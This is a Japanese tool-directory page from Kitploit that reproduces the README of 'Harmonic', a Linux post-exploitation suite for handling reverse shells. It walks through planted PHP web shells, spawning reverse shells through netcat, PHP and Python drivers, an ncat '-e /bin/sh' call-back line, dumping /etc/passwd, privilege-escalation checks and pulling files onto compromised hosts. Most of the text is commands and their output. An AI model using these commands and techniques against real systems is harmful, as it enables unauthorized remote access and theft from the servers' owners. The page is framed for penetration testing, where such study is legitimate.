Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Harmonic — Suite for reverse shell handling geared toward working within the native shell | Kitploit
ツール/GitLabGitLab/runik/harmonic
特権昇格スクリプトと自動化ウェブアプリケーション悪用情報収集ポストエクスプロイトペネトレーションテストコマンド&コントロールリモートアクセスツールシェルコード生成ペイロード開発
GitLabrunik/harmonic
168年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Harmonic

Suite for reverse shell handling geared toward working within the native shell

リポジトリを見る

Harmonic Suite

Linux用のツールセットで、リバースシェルの管理とインターフェースを提供するために開発中です(コードはまだ迅速かつ不完全な状態で、例外処理はほとんどありません)。UNIX哲学に強く影響を受けており、基本的なアイデアは、任意のエンドポイントを処理するデーモン(connd、ただしまだ適切なデーモンではありませんが、別のターミナルで実行可能)を用意し、それらのエンドポイントに対してツールを実行することです。

エンドポイントは、スクリプトまたはプロセスによって「駆動」され、ファイルシステム上のファイルとして公開されます。その後、薄いソフトウェアクライアントを使用して操作できますが、シェルコマンドを使って読み書きすることも同様に簡単です。実際、シェルからスクリプトを単独で実行できることは重要な設計要素であり、理想的には、スクリプトはエンドポイントが存在することに依存しますが、組み合わせて使用することも可能です(相互に連鎖)。

現在のエンドポイントオプションは次のとおりです。

  • nc - 特定のポートにnetcatエンドポイントを起動
  • wsh - 基本的なWebシェルスクリプトと対話するためのコンテキストシェル
  • with - 任意のプロセスをエンドポイントとして実行

薄いソフトウェアクライアント(hthinc.py)は、システムのエンドポイントへの基本的なインターフェースを提供し、システムに対してスクリプトをすばやく実行します。いくつかの基本的だが便利なスクリプトが書かれています。

  • sp - リモートLinuxシステムに対して列挙を実行し、スクリプト言語(現時点ではpythonのみ)を特定し、新しいエンドポイントを起動し、現在のエンドポイントを介してインタラクティブシェルを生成し、新しいエンドポイントに接続します。ドライバが指定されている場合は、列挙をスキップしてドライバを使用しようとします。
  • lpc - Linux権限昇格チェッカースクリプトをエンドポイント経由で実行
  • log - コマンドの出力を現在の作業ディレクトリにログ出力
  • mac - 定義済みのマクロをエンドポイントに対して実行($HCROOT/.hcrcのマクロセクションで定義)
  • pull - wget用のマクロスクリプト。ポータルディスパッチ(linux)からファイルをダウンロード
  • fpull - fetch用のマクロスクリプト。ポータルディスパッチ(*bsd)からファイルをダウンロード
  • wpinit - Windowsスクリプトエンジン(現時点ではVBのみ)を列挙し、wpullで使用するファイルポータルスクリプトを生成
  • vbpull - portal.vbs(wpinitを参照)を使用してポータルディスパッチ(windows)からファイルをプルするためのマクロスクリプト
  • pspull - PowerShellを使用してポータルディスパッチ(windows)からファイルをプルするためのマクロスクリプト

リバースシェルドライバ(つまり、リモートシステム上でシェルを駆動するもの)の種類は以下のとおりです(現在はlinuxをサポート)。

  • php
  • perl
  • fifo
  • python27
  • python3x

その他のスクリプト:

  • hgenrsh.py - リバースシェルPythonコマンド(圧縮およびbase64エンコード)を生成し、実行中のプロセスからフォーク可能
  • hcmd.py - ローカル環境からコマンドを実行
  • hscr.py - フック可能なスクリプトを実行
  • hdis.py - 接続を待機し、stdinからクライアントに任意のデータをディスパッチ
  • sys/bin/hpd.py - HTTPプロトコルを使用してファイルをプルするためのポータルディスパッチサーバー

使用例

  • 例では、$HCROOTはこのリポジトリのディレクトリを指しています(設定は下部を参照)
  • conndはデーモンまたは通常のプロセスとして実行中です。
    • $HCROOT/sys/bin/conndから実行できます(事前にビルドが必要)

conndにエンドポイントの起動を指示し、指定されたPHPスクリプトに対してウェッジシェルドライバを使用します。このPHPスクリプトはシステムコールを実行し、フォーマットされた応答を返します。ただし、この1行のスクリプトは、サーバーログにコードインジェクションされた場合と同様に簡単に使用できます。

$ hconnd.py start wsh http://example.com/hwsh.php
1

これによりエンドポイント1が作成されました(2つの入出力パイプがあり、runサブディレクトリ内でt1iおよびt1oとして確認できます)。次に、hthinc.pyを使用してシェルと対話します。

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

これがLinuxボックスであることがわかりました。ウェッジされたWebシェルから脱却し、適切なシェルを取得したいと思います。組み込みコマンド !help を実行すると、thincのヘルプメッセージが表示されます。スクリプト sp を実行すると、リモートシステムに対して自動的にコマンドを実行し、環境を列挙し、ncエンドポイントを起動し、リバースシェルを生成し、新しいhthinc.pyを介して自動的にドロップインします。

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

または、(例として)ドライバとしてPHPを使用していることがわかっている場合は、それを指定できます。

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

そして、シェルにTTYがない場合や脱出したい場合は、デフォルトのマクロの1つを実行できます。

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

また、コマンドの出力をログに記録したい場合は、logスクリプトを使用して、現在の作業ディレクトリに保存できます。

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

エンドポイントが実行中の場合、接続プロセスはデーモンによって管理されるため、クライアントのアタッチ/デタッチが可能です。

素早く繰り返す

すべてをよりUNIX的な方法で実行できるため、シェルからプロセスをすばやく繰り返すことができます。Webシェルエンドポイントを起動し、エンドポイントIDを取得して、シェルからsp.pyスポナーンスクリプトをエンドポイントに対して実行します(hthinc.pyで使用されているのと同じスクリプトですが、エントリポイントが異なります)。

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

または、ワンライナーとして:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

そして簡単に自動化:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

ローカル環境からコマンドを実行

ツールhcmd.pyを使用すると、シェルからエンドポイントを介してコマンドをすばやく実行できます。

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

結果をパイプやリダイレクトすることも通常通り可能です。

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

エンドポイントの追跡

hconn.py の list 動詞を使用すると、現在のエンドポイントの一覧を、該当する場合は接続状態とともに表示できます。

$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

ファイルとしてのエンドポイントの操作

ウェッジシェルエンドポイントをセットアップ:

$ hconn.py start wsh http://example.com/hwsh.php
1

次に、ポート4444でnetcatリスナーをセットアップ:

$ hconn.py start nc 4444
2

そして、入力ファイルを介してウェッジシェルエンドポイント(eid 1)に書き込みます:

$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

これにより、netcatリスナーにシェルが送り返されるはずです。薄いクライアントをnetcatエンドポイント(eid 2)にアタッチすると、別のシェルが待機しているはずです。

$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

スクリプトの実行

シェルインターフェースをファイルに一般化すると、Webシェルエンドポイントに対して使用されるスクリプトが、netcatリバースシェルエンドポイントに対しても機能するようになります。スクリプトは、絶対パス($HCROOT/share/script/*.py)を使用するか、ヘルパースクリプト hscr.py を使用して呼び出すことができます。

sp.pyをnetcatエンドポイントに対して実行し、別のリバースシェルを生成できます。

$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

絶対パスを使用した同等のコマンドは $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1 です。

または、Webシェルに対してLinux Priv Escalation Checkerを実行できます。

$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

また、hthinc.pyインスタンス内でそれらを呼び出すこともできます。

!run lpc

環境変数

環境変数を使用してグローバル値を定義できます。変数には、優先順位が低い順に3つのレベルがあります。

  • リソース
  • 環境/シェル
  • インライン

リソースファイル変数は$HCROOT/.hcrcで定義されます。これらは最も優先順位が低いですが、システム全体の環境変数を汚染しないために使用できます。

環境/シェル変数は、シェルによってプロセスに取り込まれ、HCV_ という接頭辞が付きます。これらはリソース変数とマージされ、既存の値を上書きします。

インライン変数は、以前に定義されたものをすべて上書きします。

例

これらの例では、LHOST=127.0.0.1が .hcrcのリソース変数として定義されており、スクリプトの使用法は./script LPORT [LHOST] です。

次のスクリプトでは、LHOST=127.0.0.1、LPORT=4455が使用されます(リソース変数)。

$ ./script 4455

次のスクリプトでは、LHOST=192.168.1.101、LPORT=4455が使用されます(シェル変数)。

$ HCV_LHOST=192.168.1.101 ./script 4455

次のスクリプトでは、LHOST=10.10.10.125が使用されます(インライン変数)。

$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

同じ原則がhthinc.pyの!run SCRにも適用できます(環境/シェル変数は./hthinc.pyに渡されるものであることに注意してください)。

ポータル

ツールをダウンロード